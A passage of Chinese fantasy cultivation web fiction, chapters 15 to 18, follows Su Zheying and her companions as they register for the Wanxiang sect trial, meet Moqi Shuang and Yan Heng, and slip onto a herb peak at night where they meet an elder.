他走到离苏折映不远的距离站着,不似无上阁里那会儿的呆板,他道:“看官,可否让条路?”
无上阁门前这巷子窄是窄,苏折映又恰好现在正中央,但所说挡着谁的路了,那也不太对。
“你们无上阁深藏不露啊。”她将视线落在他手中提着的布袋上。
明显感觉到他提着的手紧了一下。
说书人不冷不淡道:“看官莫要乱言,不过是去置办些墨。”
说着,他往前递了递布袋,袋底下的黑色液体已经没有了。
苏折映收回视线,往旁边挪了几步,笑道:“随口一说罢了。”
说书人点头,提着进去了。
苏折映却仍站在无上阁门前,她可以断定里面的东西是魇魔,粘稠的黑色液体,以及从发现他时就隐约闻见的恶臭味,足以说明无上阁不简单。
原来,不知不觉间魇魔已经跑出来这么多了。
她叹口气,转身回了客栈。
好在出来一趟也不是没有收获,至少不会再想今夜那事了。
但她觉得,小师弟好像真的不太对劲了。
15. 混元道
无月城今日天未亮便人群涌动,刚到城的修士一窝蜂地直奔城主府,那些早起想要出张的百姓一瞧这架势,顿时歇了心思,给他们腾出条宽敞大路来。
苏折映慢悠悠跟在后面,她今日换了身轻便的素青衣衫,腰间白色束腰勾勒出劲瘦的腰身,黑百合吊坠明晃晃的格外显眼,更别说她步幅随意使得那铃铛声不断,惹了不少人频频回头。
江清野一贯的白衣,更不用说郁秋冥那身像是黏在身上一般的黑衣。
三人走在一起还是相当惹眼的。
周围修士你拥我挤,都想趁着最后的一日早早报上。虽说初试名额没有上限,但今日是最后一日,报名后的弟子在戌时便要到无月城门前汇合,等待万象宗的人来接,所以今日的报名在申时便会结束。
怕来的人多排不到自己,所以这些修士早早便来排上队了。
而今日的报名时段还未开始。
苏折映瞧着这些修士兴奋的神色,不禁感慨,他们溟川屿何时如此广招弟子?
山上那几个小弟子对着个封印,睡了吃,吃了睡。
哪里有个大宗门派的样子?
正想着,背后突然被人往前推了一把,苏折映一个阻咧向前,所幸郁秋冥在她身侧及时扶她一下,这才没有摔向地。
她拧眉,回头就看到一个贼眉鼠眼的修士,一身黄白色道袍,腰间配着把剑,剑鞘上镶了不少金银,一眼过去,晃得她眼一花。
那修士撞了人不仅不道歉,反而嫌恶皱起眉,轻蔑道:“真是什么人都敢来参加报名了。”
他又在郁秋冥和江清野身上打量几眼,“你们报了名也是去送死,赶紧给爷让开,别当着爷的修仙路!”
他说着,往地上啐了一口,双手一抱,跟个大爷似的,等着几人识相让出路来。
苏折映几人走在尾端,此时的位置显然不如前面的拥挤,想走路处处便是,却偏要在这给她找不痛快。
“腿用不了的话,我可以帮你解决了。”她冷声道。
鼠眼修士横眉一皱,没想到这几人这么不识相,刚刚就被一个女人嘲讽了,此时更是怒气上涌。
他傲着头,抽出佩剑,没了金晃晃的剑鞘包裹,剑就像是镶金边的那屎盆子,苏折映只一眼便看出这剑跟漱玉差得有十万八千里之多了。
“一个女散修还傲上了,不知好歹!”他讽刺道。
他最看不起的就是女修了,柔柔弱弱的就该好好找个道侣跟在后边鞍前马后。
“——不知好歹?”一道冷冽的声音从他背后传过来,他身形一顿。
苏折映抬眼,眼底染上兴味,是昨日那个出言为溟川屿说理的女子。
万俟霜今日穿了身翠蓝罗裙,头上的发钗不见,只配了个淡蓝色玉簪。
罗裙上金丝银线绣着繁杂的花纹图案,裙底更是绣上了一条银色水龙,随着她的走动,水龙像是活了一般,栩栩如生。
她一脚就朝着那修士踹了过去,连剑也不用拔。
“狗仗人势的东西!”她翻了个白眼,鼠眼修士在地上一滚,一动不动地躺在地上装死。
万俟霜懒得跟他计较,她一转脸,就见面前这青衣女子笑眯眯看着自己。
她说道:“不必理会他,这人平时就仗着自己家世好乱欺负人。今日被我遇上打了一顿,窝着的火就撒在你们这了。”
苏折映依旧直勾勾盯着她,像是寻到了什么新奇物件一样,须臾,她问道:“敢问姑娘芳名?”
万俟霜下巴微抬,手指轻撩一下额间的碎发,道:“万俟霜。”
“菩提宗万俟氏?”
万俟霜点头。他们万俟氏也是菩提宗地界有名的修仙世家,他们知道也并不意外。
“你们呢?”万俟霜道。
“散修,苏折映。”
苏折映自报大名,又贴心地把另外两人一并介绍了,“这边的是我弟弟,苏郁。那位是我朋友,江清野。”
郁秋冥在她旁侧,偏头就能瞧见她贱兮兮的样子,弟弟两个字被他拎出来在脑中反复品味。
忽然就想到了方城时,阿臻对她姐姐姐姐地叫着。
察觉到视线,苏折映也偏头,笑道:“不会又想说‘苏折映,我长你半岁’吧?”
却见他摇头,开口给苏折映整不会了,他喊道:“姐姐。”
那双黑眸紧紧盯着她,黑色瞳仁像是有什么魔力一般,让她不自觉对上去。
她猛地记起,幼年时也有个小孩叫她姐姐,还是她逼着人家叫的。
不过,那小孩是个女娃娃,她怎么会将小师弟与那女娃娃想到一起去。
万俟霜闻言,猝然皱起眉头,她嘶了一声,道:“两位是亲姐弟?”
看着不像啊。
问得苏折映一怔,突然就不知道怎么回答了,而万俟霜却是觉得自己的问题有些冒昧,她道:“哎呀,我就是随口一问。”
“不是亲姐弟。”郁秋冥忽然道。他转头看着苏折映,勾起一抹笑,说道:“我是被姐姐家收养的。”
万俟霜道:“两位看起来关系很不错。”
郁秋冥嗯了声,视线却始终放在苏折映身上,他问道:“你说呢?姐姐。”
苏折映却是脑子嗡嗡,已经迷失在他一声声姐姐中。
她在方城时也常听阿臻唤她姐姐,怎么就不似现在这般难以言喻。
她胡乱点头应了声,见四周修士少了很多,便转移了话题,“万俟小姐也是来报名的?”
万俟霜点头,却没有多说什么,苏折映也借机向她告辞,“那我们便先行一步了。”
“好,各位再会。”
三人又往前赶了些距离,万俟霜却是朝着城门而去,像是要等什么人。
远远的,苏折映便看到城主府前设了擂台,一个中年男人坐在中央,他身前排着不少人,挨个在书案上记上名字。
不过一个时辰,就排到了他们。无月城的城主府和方城的比还真是天差地别,木材建筑样样上乘,就连门上雕着的图纹都很有讲究,龙凤交旋,金黄一片,衬得漆黑的大门更加威严。
苏折映在前,她走到书案前
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,座上的男子抬头瞧他一眼,眼睛一眯,本就带着褶皱的黄面现在更是挤在了一起,他执起笔,沉声道:“名字。”
“苏折映。”
“何方人士?”
“散修。”
他一顿,抬头又是一阵打量,苏折映倒是坦然,任他打量着,半晌,他才道:“入境三段?”
来报名的也不是没有隐藏修为的,但压制修为的法器在大陆不多见,更何况修为越高越难压,能压到入境期的,不是修为低便是地阶之上的法器了。
苏折映反应过来,眨了下眼睫,笑道:“是。”
她倒是差点忘了吊坠将她修为压在了入境期,也难怪这人盯着她瞧了半天。
“戌时在城门统一前往宗门。”他递给苏折映一块木牌,并将名字登记在花名册中。
苏折映接过的瞬间,木牌背后一阵灼热,下一秒便出现了她的名字,而木牌正面标着一串数字——六百六十六。
她咧嘴,还挺吉利。
“下一个。”中年男子道。
郁秋冥上前,那男子眉头又是一皱,直到三人走完了同样的流程后,他死皱的眉才松下来些,而后招招手,一旁身着万象宗弟子服的修士过来,附耳说了什么。
几人离开时,苏折映恰好看见万俟霜带着一个蓝衣男子过来,两人离得有些距离,万俟霜并没有看到她。
她只觉得那男子眼熟,却一时间没想起来叫什么。
江清野倒是认出人来了,他诧异道:“那不是燕珩吗?”
一年前横空出世的混元道天才。
他一提,苏折映便想起来了,一年前菩提宗其他势力夜袭,宗门大阵也被他们的内应破坏,且当时宗内一半长老带着内门来阴魂林界历练,宗内弟子多数被杀,眼见菩提宗便要一夜被灭,半路却突然杀出个燕珩,若是玄气一途定然无法保下菩提宗,可偏偏他是个混元道。
混沌无形,贯通各处。
同境之中,混元最强。
大陆迄今所出的混元修士不过十位,且大多已避世不出,能叫得上名号的也只下个无常道人。
可那天却突然出现个如此天才,一己之力力挽狂澜,保下了菩提宗。
从此,燕珩就被冠上了混元第一的名号。
见他们报完名便走远了,江清野揶揄道:“这可是最年轻的混元小天才。”
“是吗?”苏折映漫不经心道。
如今除了她和无常道人,燕珩是他已知唯一的混元道修士。
不,现在还多了小师弟。
混元难修,不是没人坚持过,但最后几乎都被心魔吞噬了理智,沦为过街喊打臭鼠。
江清野却是摇头叹息道:“若是没有认识你之前是这样。”
谁会想到名声恶臭的溟川屿少主会是两道双修。
大多数人只记住了她的恶和高不可攀的少主身份,却忽略了她本身就强悍的实力和让人望尘莫及的天资。
“低调些倒也没什么不好。”她笑道,伸了伸腰,“走吧,去瞧瞧这万象宗如何。”
16. 分院
戌时,夜幕坠下,天色已经变得朦胧。
修士们纷纷赶到城门前,三两成群地聚在一起,甚至已经有人在开始彰显自己的领导力,试图组建一个大队伍。
没多久,就有人成堆聚在了一起。
苏折映三人到时,万象宗的人也恰好到了,一个女长老带着五名内门弟子,万象宗处处讲究,弟子服甚至是上面的纹络都是精心设计出来,黑色长袍穿在身上便给人一种威严的感觉。
她向前轻喝一声,“诸位安静。”
方才还嘈杂的人群瞬间寂静,个个眼神热切地看向她。
苏折映站在后面,但也是瞧见了那黑衣女子,万象宗五长老黎清沅,宗门中最不主事也不收弟子的一位长老,可偏偏实力又在其他长老之上,深得方无澈青眼。
怎地今日是她来了?
“请今日报名弟子站在这边。”黎清沅示意自己右侧的空地,待人都过去后,她身后的五名弟子才站出来,抽出佩剑,跃向左侧被空出的地方,数道剑气一齐挥出,金光一闪,纹络交叠勾勒,顷刻间便布下传送阵。
右边看着的修士们更是一个比一个红眼,已经有不少人窃窃私语。
苏折映旁边的修士低声道:“你说我要是进了万象宗是不是也会如此厉害?”
“那可是内门弟子,都是长老们的亲传,你个入境七段想什么呢?”他身边的同伴嘲讽道。
“万一侥幸进了内门呢?”他不甘心道。
“白日做梦。”同伴嗤笑一声,那人便不再说话了。
苏折映听了两人的话,她大致扫了眼,大多都是入境期,但差距却不大。
最低也都入境五段,而最高的也不过是迷津三段,堪堪一个青冥宗内门的实力,况且那迷津三段的修士还是个半百的男子。
倒也不是说青冥宗有多差,只是确实如客栈那个修士所言,青冥宗大不如前。
黎清沅见传送阵布成,立马道:“此阵只有一炷香时间,过后阵法便会无效,请诸位务必立刻进入。”
说着,不待众人反应过来她便带着五个弟子闪身进去,人群静默了一下。
思索间,众人只听一阵铃音脆生生响起。
苏折映抓着郁秋冥便朝金光而去,江清野也立马跟上。
眼前一闪,其他人瞬间懵了。
一群人就这么愣愣地看着三个身影飞过,连长什么样都没看清。
光圈不大,只能一次也只是可以容纳数十人,而报名的修士少说也有上千,一炷香时间不可能保证所有的修士全部通过法阵。
所以,比试在从传送阵布下的那一刻就已经开始了。
苏折映三人是最先进入的。她抬头,看到远处那个熟悉的金塔,笑道:“万象宗还真是一如既往地奸猾。”
这下在初试前便能筛出一部分弟子。
周边不断有修士传到这,眼下的位置刚好是万象宗主峰大殿前的汇武场,也是在方无言心境时的那处地方。
她望向前面,黑蒙蒙的,隐约能看见几个人站在上方大殿门前,正细细打量着他们。
她能感觉到有一道锐利的目光落在身上许久。
郁秋冥也察觉到了,尤其是中间那人,像是要盯出个窟窿来。他眸色一沉,朝苏折映挪去,低声道:“师姐,我怕。”
话落,那人身形一顿,目光忽然就移开了。
苏折映也是一顿,眼见周围人越来越多,她压着声道:“你怕什么?”
还有他害怕的东西?
在平梁杀人杀得不是很麻溜吗?
郁秋冥凝着神,低眸对上她的,却没再开口。
她轻啧一声,哄小孩似的拍拍他的背,忍着笑,说道:“小师弟莫怕。”
虽然小师弟最近莫名其妙的,但哄着就准没错,就跟她藏着的小画册里说的那样。
果不其然,郁秋冥眼底染上笑意,她舒了口气。
随着一炷香的时间到,汇武场中央的法阵瞬间消失,场上猝然亮起光,一盏接一盏的琉璃灯列成个圈,围着众人。
苏折映一下就看清了上面站着的几人,不出意外,中间那人便是方无澈,左右两边各是黎清沅和同样在心境中出现过的那个男人。
“他是新一任的大长老,齐风。”江清野适时开口道。
他当时便是附在了这人身上,不过那时候齐风还是个二长老。
他说话的同时,其他人亦是纷纷讨论着。
“这就是万象宗?”
“原来大宗门这么气派!”
“嗤,一群没见过世面的井蛙。”
“呦,你见过世面,你还来万象宗?”
“有能耐的怎么不去溟川屿?”
“就是!”
几人说着就吵了起来,但碍于身在宗门,愣是没一个人敢动手。
铛——
那金塔一响,不用别人开口,他们自己就安静下来了。
方无澈站在殿阶上,俯视着下面的人,眼中透着满意,他点点头,道:“比试一共举行七日,七日内不得擅自离宗,期间本宗会统一安置住处。”
众人没有异议,方无澈转头看向齐风,“剩下的便交给大长老安排了。”
齐风颔首,接着方无澈的话,“在进入传送阵时,各位的木牌号已经按照进入法阵的顺序发生改变。这是现在的排名,初试后只留三百人。”
黑色衣袖一挥,众人上方浮起一个个蓝色光点,朝着中间聚集,最终聚成各个名字,从一一直往下,直到最后第七百三十四——燕珩。
而第一赫然就是苏折映的名字,郁秋冥第二,江清野紧随第三。
郁秋冥笑道:“低调?”
苏折映哎呦一声,也笑了,“我收回。”
还想着悄无声息做个路人甲,这下好了,第一谁不想挣?
没过多久便有人问道:“苏折映是何人?”
“哪个世家小姐?”
“从未听过此人。”
“第二也姓苏?两人不会是一家的吧?”
“没听过有什么苏家啊?”
“第四个倒是知道,菩提宗万俟氏独女万俟霜。”
…
“这么看小少主还是挺低调的。”江清野一拳抵在唇边,小声道。
这么多年,他们不知道溟川屿少主是男是女也就算了,就连她
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名字也一概不知。
“那我还真是谢谢夸奖了。”苏折映笑道。
齐风并没有打断下面的人,他自始至终都是面无表情办事,排名放完,光点四散开,融进夜幕。
他继续道:“明日辰时在此进行初试。”
说完就跟着方无澈离开了,殿前只剩下黎清沅,黑色长老服本该衬得她更加清冷疏离,但苏折映只看到了一个字——懒。
黎清沅皱眉,瞥了眼空荡荡的周围,打了个哈气,也走了。
留下面一众初次到万象宗的修士互相瞪眼。
人都走了,他们去哪?!
好在没多久便有几个弟子过来,带着他们去往另一座峰,安置了住处。
不过并不是随机的,一间院有两室,按照排名划分,苏折映是和万俟霜一院。
而郁秋冥本应是和江清野一院的,但江清野在进院时,木牌上的数字却突然变成了七百三十四。
各院都有小型阵法,只有对应木牌数正确才能进入,如今数字变了,自是进不去了。
那么同郁秋冥一院的便是燕珩了。
万象宗底蕴百年,他们安置的院子也并不敷衍。大院里左右两间房,中间置了张桌,院墙边栽着几株树,两者见还留了一大空地。
苏折映此时还并不知晓此事,她进院后便看到了先她一步的万俟霜,笑道:“万俟小姐。”
“叫我万俟霜便好。”
“没想到你们深藏不漏,无月城时还想着解围,现在看来还是多此一举了。”万俟霜是个自来熟的,她坐在院里的桌边,上面茶具俱全,笔墨纸砚也有,倒了杯水便灌了口。
苏折映也坐了过去,腰间的吊坠又响了。
万俟霜看过去,好奇道:“今早便想问了,这吊坠好生别致,跟你弟弟那个是一对的吗?”
“嗯。”苏折映点头,勾起腰间的黑百合吊坠,在指头上转了圈,响得更大声了。
“在何处买的?”
“我做的。”
万俟霜亮起眼,惊讶道:“你还会做这个?”
“你喜欢?”苏折映一怔,一个吊坠而已。
“喜欢呀,这么好看,还一响一响的。”万俟霜眼睛都要黏上来了。
苏折映随意笑道:“你若喜欢,我便——”
“师姐。”门外传来熟悉的声音。
苏折映一顿,起身先去开了门。
郁秋冥沉着脸和一个蓝衣男子站在外面。
若说郁秋冥的长相是标准的正道少年郎,那燕珩更是正中之正。
五官白皙,双目平静,藏蓝色衣衫下交叠着淡色纹绣,束着玉冠,但不显得老成。
郁秋冥有时看着跟她一样邪里邪气的,但燕珩却给她一种正得发邪的感觉。
她又依在了门边上,眉梢一挑,转头对里面的万俟霜道:“来找你的。”
万俟霜拿着杯子,看向门外,“燕珩?”
他低头,语气颇为恭敬道:“小姐。”
万俟霜一看便知道,顿时罢手道:“不是来找我的。”
不是找万俟霜的?
苏折映一笑,难不成还是找她的?
17. 燕珩
夜里凉风很轻地扫过面庞,门口三人干瞪着眼,郁秋冥抿着唇,面色不快。
苏折映跟没骨头似的靠着门,懒声道:“什么事?”
郁秋冥偏头看向冷着脸的燕珩,漫不经心道:“他将江公子的木牌号调换了数字。”
他刚说完,就听到燕珩皱着眉道:“不过是障眼法。”
谁能想到万象宗法阵竟会分辨不出。
“好一个障眼法,混元道的障眼法,用玄气布下的法阵自然分辨不了。”苏折映扶额,江清野也是倒霉,偏偏他被燕珩盯上了。
“你调换人家的木牌号做什么?”万俟霜也听见了他们的话,疑惑道。
燕珩一板一眼答道:“夫人说了,小姐必须安全。”
“所以你就想了这个法子搬到隔壁了?”万俟霜一言难尽的表情很是好笑,苏折映没忍住翘起嘴,却被她远远瞪了一眼。
万俟霜连忙罢手,“我不会有事的,你快回去吧。”
话落,燕珩不仅没动,反而将目光落到了苏折映身上。
苏折映一顿,还真是来找她的?
就见燕珩突然没头没尾问了一句:“你的剑呢?”
“什么剑?”苏折映一头雾水,她不曾用过剑,“我哪来的剑?”
若真要说剑,几年前她还小的时候曾在阴魂林界屠了个蛇洞。
听说没金蛇最会存金银珠宝,全都盘在自己穴中,她好奇便去屠了一窝,谁知还真是,一堆金灿灿的宝珠里她偏就不走寻常路捡了个破剑。
说是破剑,那是真的破,跟个破铁似的,她还乐呵呵当做战利品给带溟川屿了,被无常道人好一阵笑话。
他还说让她扔了剑,给她换把好的,她不乐意,硬是天天当宝贝一样供着。
不过后来剑没了,她记得她把剑送给那个女娃娃了,说起来还不好意思,送礼哪有送破铁的。
但那女娃娃还真就收了,也不知道现在怎么样了。
苏折映沉浸在回忆里,没有注意到郁秋冥下意识摸向腰侧的漱玉,冰凉的触感让他有一瞬的晃神,很久远的记忆一下就清晰起来。
燕珩只是盯着她,须臾,她回过神反问道:“你认得我?”
他却摇头,道:“见过一面。”
“哦?可我并不记得我们见过。”苏折映来了兴致,名字倒是听过,若说见过也应该是她见过他吧?
她有幸目睹过他力挽狂澜救菩提宗于水火。
去年他好像才混元入门吧?
要不是菩提宗长老赶回得及时,他也撑不了多久的。
燕珩还是摇头,好像什么也不愿意多说。
苏折映也不自讨没趣,伸完腰便要打发人,“还有事吗?”
两人一默,只听嘭一声,门就被她关上了。
门外的两人互相对上一眼,燕珩目光落在漱玉上,肯定道:“这是她的剑。”
郁秋冥眼神一沉,没了方才时的乖巧,他忽然挑起嘴角,露出那小虎牙,道:“是啊,师姐送我的。”
颇有一种小三上位的得意。
燕珩却是冷声道:“她不记得便是没送过。”
郁秋冥轻笑,他也恨苏折映这木头脑袋里只装着打架和任务,但还是低声道:“早晚会记起来的。”
就算记不起来,他也会帮她回忆起来。
燕珩只是淡淡道:“是吗?”
说完,转身就朝着他们院子的反方向走,大概是要回他原来的院子了。
郁秋冥却站在原地,神色不明地看着腰侧的漱玉,好半晌才挪动步子回去。
而院内,桌边一直听着的万俟霜八卦道:“诶你认识燕珩?”
苏折映不紧不慢走过去,重新坐下来,道:“不认识。”
“那他怎么——”
“这话难道不应该是我问万俟小姐?”她勾唇,笑得有些阴险。
好歹也是名誉大陆的混元道天才,竟然会对人毕恭毕敬的。
万俟霜也不怕说,问到燕珩就跟打开了话匣子一样,拉着她凑近了些,两人头对头。
苏折映还真就矮下来头,听她道:“其实他是我们家收养回来的,我小时候在家门附近碰见的,菩提宗地界你也知道的,重女轻男,当时他被一群丫头追着打。我瞧着可怜便带回家想着给口饭就让他走。”
“然后呢?”苏折映懒洋洋道,这剧情太俗套了,她看过的画本子里都讲烂了。
“然后就发现了呗。”万俟霜耸肩,“长老发现他跟我们用的玄气不一样,但也不知道是什么,就让他留下来观察,谁知道他使用的那团气越发厉害,这才决定培养他。”
但族中没人知道那东西是什么,只能将好的法器丹药通通砸给他,起初他还有些不服,后来听说是为了将他培养成自己的影子,她才没那么计较了。
“所以他为你们万俟氏办事?”苏折映了然,难怪她年年混迹在大陆,却在去年才知道这么个人,原来是被万俟氏藏了。
而一年前锋芒突现,应该也是万俟氏的意思了。
“也不太算。”万俟霜忽然严肃起来,“你不会乱说吧?”
苏折映笑道:“现在才问不觉得有些晚了吗?”
“算了,说都说了。”万俟霜又撩了一下额前的碎发,无所谓道。
“万俟家留不住他的,所以等我进了万象宗他便不用再跟着保护我了,不过万俟家有危险的话他还是要去的。”万俟霜道。
至少提到他们菩提宗万俟氏,知道他们还有这么个天才少年。
“那他是怎么到菩提宗地界的?”苏折映问道。
“这哪知道,不过听说是从南边流落过来的,听他提过一次阴魂林界。”万俟霜苦着脑子想了好半天,确实是没有印象。
不过他们也没查出来他的身世,就像个随处流浪的孤儿。
“阴魂林界吗?”
居然是从那边过来的。
夜幕至深,两人聊了很久,如苏折映料想的一般,这个万俟霜很是有趣,世家小姐还是个独女,天资也不差,有傲气再正常不过,却是意外地心善,没那么多心眼子。
想到此,她脑中忽然闪过小师弟的脸,那双幽黑的双眸总是沉沉的,像是打翻了的浓墨,晕在白纸上,看不清被掩着的神色。
苏折映忽地问道:“你觉得苏郁如何?”
万俟霜支着头的手一软,险些把头栽下来砸到桌上,她忍不住打量一圈苏折映,一脸老成道:“很般配。”
苏折映:?
谁问这个了。
“我问的是——”知道万俟霜是想多了,她想纠正过来。
“知道知道,时候不早了,明日还要早早去初试,我先回去休息了。”万俟霜打个哈欠便要装样回去睡觉,她倒杯水往苏折映那一推,立马起身,几息之间便没了人影。
苏折映点了点杯中凉掉的茶水,指尖沾上了水渍,她在桌上随意画了几下,皱着眉,像是不满意,又重新点了水,涂涂抹抹最后画了个背着把小剑的猫儿。
她兀自对着桌案笑了声,将杯子一推,剩下的水洒在上面,盖住了那只猫,白瓷杯滚落在地,杯身与地面碰撞出的声响在夜里显得格外突兀。
夜光倾洒在杯身上,而喝茶的主人却在它滚落时悄无声息地离开了。
苏折映一进到屋子,神色便冷下来,素手一扬,浓郁的灰雾带起一阵劲风,瞬间掠向床榻。
白色床纱被吹得忽上忽下,就见榻上的黑影一滚,从上面跳下来避开了她的攻击,檀木床却是被她这一击打了个稀碎,变成一堆废木材。
那人靠向了窗子边,苏折映以为他是要逃,霎时地上便窜出数条手腕一般粗的藤蔓,缠上了他双手双脚,甚至分出条细藤,卷上了他的脖颈。
那人一身黑衣,垂着头,散着的墨发乱在肩头,他喘了声气,道:“师姐。”
闻言,苏折映一愣,缠着藤蔓也跟着松下力道,她这才燃起灯,看清了那人的模样。
“小师弟?”她笑了下,这是在报复客栈那晚她摸进他房间那件事吗?
“这是作甚?”她收了藤蔓,问道。
郁秋冥放松下身,低头凑到她面前来,闷声道:“我被燕珩赶出来了。”
“一院两间,就算他调换了江清野的木牌号也不会对你有影响吧?”苏折映眯起眼。
“他看我不顺眼,我打不过他,他便要赶我出来。”郁秋冥此时就像个向大人告恶状的小孩,莫名有种可怜巴巴的感觉,可他又并没有什么表情。
“打不过?”苏折映只抓住了这个重点,“混元你不过刚入门,但玄气练得也得有浊岐八段了吧?”
剑法也好,燕珩虽然混元小成,但一路修行都只自己摸索,万
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俟家也只能提供物质上的资源,虽然两人差了个大段,但真打起来还不一定。
毕竟,混元道从不需要法器甚至剑,他未必接得住小师弟的剑招。
郁秋冥还真就认真点了头,苏折映咧嘴,“所以今晚咱俩都不用休息了。”
床都碎成什么样了。
“我带师姐去个地方。”郁秋冥拉住她的衣袖,将她带出屋。
苏折映边走边道:“你怎么进来的。”
她都没有发现,况且,门上还有法阵。
郁秋冥却是神秘一笑,“师姐想知道?”
“嗯。”她点头,这好东西学会了,那以后她去干点烧杀抢掠的事,岂不是不用那么麻烦了。
“日后告诉你。”他没说,只是拉着苏折映出了院子,漱玉被拿出来,带着她直直往另一座峰上去。
夜里山间的湿气更重了,层层云雾缭绕在周身,苏折映站在漱玉上,向下看,黑绿间隔,她也能看到了远处山脚下映着的点点灯火,藏在雾里,若隐若现的,美得无可言喻。
两座山只相隔数十里,御剑只要一刻钟便能抵达山头。
跟他们住的那座不一样,这里更像是专门养殖灵草和圈养玄兽的地方,峰外设了法阵,不过有无常道人教她的那招混虚遁影,两人被虚虚的一层气包裹。
在触及到那层法阵时,法阵金光骤然一亮,却被他们身上的那层气瞬间盖住,一点点向里面压去,直到两人进入,法阵金光淡去恢复了原样,这在旁人眼里看来也不过是瞬息之间的事。
进去之后,郁秋冥问道:“师姐刚才怎么做到的?”
苏折映也是神秘一笑,坏心眼道:“小师弟想知道?”
郁秋冥一怔,也反应过来她这是在学他了,顿时道:“不想了。”
就听她笑出了声,道:“师父他教的,你若想学我便教你。”
虽然无常道人将小师弟收归门下,但他常年云游在外,定是教不了他多少东西,如今让她带着小师弟查案,何尝不是变相地让她教导小师弟呢。
万象宗一共有八座峰,除却方无澈的主峰,还有五座峰是各长老的,剩下两座便是他们现在到的一座,而另一座——
听说是专门为犯错弟子准备思过用的。
郁秋冥将她带到了载着紫檀灵木的山腰上,跟普通紫檀木不一样,这里的树木有八丈之高,棕褐色的纹理像是有荧光流动,羽状复叶呈现出淡淡紫色,上面还开着蝶形深紫色的花。整颗树在夜里就像是个小笼灯,一颗一颗连成一片灯海。
饶是见过许多山景名地的苏折映也不禁晃了眼,她跳下漱玉,瞧瞧眼前的紫檀灵木,又掏出乾坤袋比划两下,最后遗憾地收了回去。
早知道出来便多带几个乾坤袋了,她身上只有两个,不能全部搬回溟川屿去。
苏折映是侧身站在郁秋冥身边,掏乾坤袋时却是小心翼翼的,这么不光彩的事可不能被小师弟知道了。
哪知她的一举一动全都被他看在了眼里,他轻声道:“这里的灵木受一处灵潭滋养,便与寻常紫檀木不一样了,师姐若是想,可以取些潭水回去。”
苏折映却是想着直接带走泉眼,直接在溟川屿上养一片活泉。
她摇头道:“不用了。”
都偷鸡摸狗了,还偷这么少怎行?
等小师弟查清万象宗跟魇魔的关系,她就直接将泉眼带走,到时候殿前被她载着的蓝楹树指定也像这般亮眼。
苏折映笑得阴险,郁秋冥只觉她没憋什么好水,他自顾自道:“师姐怎么不问问我是如何知道此地的?”
“我猜,是在心境时。”万象宗这样的大宗门派,通常情况下是非总内弟子不可进入的,想知道这么个地方,除了心境她还想不出其他了。
不过,也不排除宗门大比这种情况,但他又非其他宗门弟子,自是不可能的了。
“确实是在心境中知晓的。”郁秋冥点头,毫不意外。
苏折映朝着灵木深处走,眼前紫光星星点点,灵木被栽得很密,走到深处才发现有几颗树间被人绑了木藤编的吊篮。
她走过去,一连几颗灵木都是,只是她刚摸上木藤子,便有一道声音惊叫出来,“诶诶诶!不准动!”
苏折映眉峰一扬,直接坐了上去,那道声音登时比之前大了一倍,“你这丫头,坐了可是要收玄石的!”
18. 神位有七
侧前方的紫檀灵木底下窜出个人来,老头一身纯白色菩提宗道袍,玉带束腰,上面点着几颗透亮的血红色珠子,乱糟糟的黑白发用一只木簪束着,腰间还挂着个酒葫芦。
从阴影下走出来,他瞧见苏折映,眼珠子一瞪,伸出个手指微微颤颤指着她道:“原来是你这丫头!”
眼神又向下一瞥,看到自己编的吊篮被她舒舒服服躺着,气得胡须都要翘到天上去了,他怒声道:“双倍!付我双倍玄石!”
苏折映双臂垫在脑后勺,一条腿还悬在下面,青色衣摆顺着挂在了半空,她半掀起眼,扬声道:“要不要再给你多加一壶酒?”
她就说这声音听着耳熟,原来是方城给她算烂命的酒鬼老头。
瞧他这身打扮,也不像是菩提宗的人,再说了,菩提宗一向只收女子,怎么现在老头也收了?
“酒?”老头眼睛一眯,摸向腰间已经空掉的酒葫芦,他嘿嘿一笑,“要!还得是好酒!”
“不对!”
老头笑意一收,突然快步走过来,郁秋冥还站在苏折映一旁,他下意识向前一步。
老头定在了两人三尺的地方,他道:“擅闯药峰可是大罪!”
又发现两人未穿万象宗弟子服,他白眉一竖,有模有样道:“非宗门弟子擅闯,更是罪加一等!”
“你们若是不想被发现,一坛酒可打发不了我!”
苏折映还躺在上面,对这老头的话丝毫不理睬,甚至还让郁秋冥帮她晃了晃吊篮。
老头回过神发现两人根本就没把他放在眼里,又炸了,“知道我是谁吗?!信不信我让方无澈把你们两个抓起来关到无望峰!”
“那是何处?”苏折映顺着话问道。
“哼,自然是惩戒弟子的地方。尤其是你们这种怙恶不悛的!”老头双手一抱,偏过头,等着两人拿酒讨好他。
吊篮一下两下地晃悠,推吊篮的人却道:“那其他宗门冒充长老又该如何定罪?”
郁秋冥推着吊篮的动作不停,见苏折映懒洋洋的样子,不禁俯身理了理悬着的衣摆。
“你这小子,无知!我是菩提宗二长老菩提子!被方无澈亲自要过来替他管理这药峰。怎么就冒充了?”菩提子道。
“是吗?”苏折映笑道,“我怎么记得菩提宗没有这么个人。倒是古落宗有个喜欢到处给人算命的长老。”
都说古落宗快要销声匿迹成隐世宗门,但私下动作可不少,她常年混迹大陆各处,也是才知道点古落宗的动向。
郁秋冥也道:“听闻菩提宗曾向古落宗寻一长老,黑白发,挂酒壶,最喜蔷薇露。”
“堂堂古落宗长老总不会是为了蔷薇露才去方城的吧?”苏折映道。
菩提子下意识反驳道:“怎么可能!”
“那你就是古落宗那位长老了?”郁秋冥道。
菩提子:……
他沉默了好一会儿,本想借机讨来几壶酒,现在却是连理都不占了。须臾,他嗡声道:“这样如何,我们各退一步,你们给我一壶酒这事就过去了。”
怕两人不认账,他又立马道:“方城给你们二人算命老头子我还记着呢!”
“好啊。”苏折映也不是小气人,等回了溟川屿就去把无常道人埋的酒偷一坛给他。
“就这么说定了,不准赖账!老头子我就在药峰等你们。”菩提子心疼地摸了摸那棕黄色的酒葫芦,他回到万象宗之后好几天都没喝到酒了。
“不过——”苏折映话音却是一转,吓得菩提子连忙抬头。
“不过什么?想反悔?没门!”
“那倒不是。”苏折映直起身,理了理衣袖。对着菩提子一脸坏笑,那老奸巨猾的模样可不比他逊色多少,便听她道,“只是您老在方城算的命还没个解答,就这么付了钱不太划算吧?”
菩提子眼神一暗,也清楚了这丫头是在这等着他呢。
白色广袖一挥,淡紫色的叶子就开始素素下落,灵木深处窜出几条小臂粗的藤蔓,在苏折映躺着的吊篮旁又编出一个,菩提子舒舒服服地躺上去,眉头一松,惬意道:“你小子自己找个坐吧,不收玄石了。”
附近的木藤子是多,但这林子也大,最近的一个也离数十丈之远。
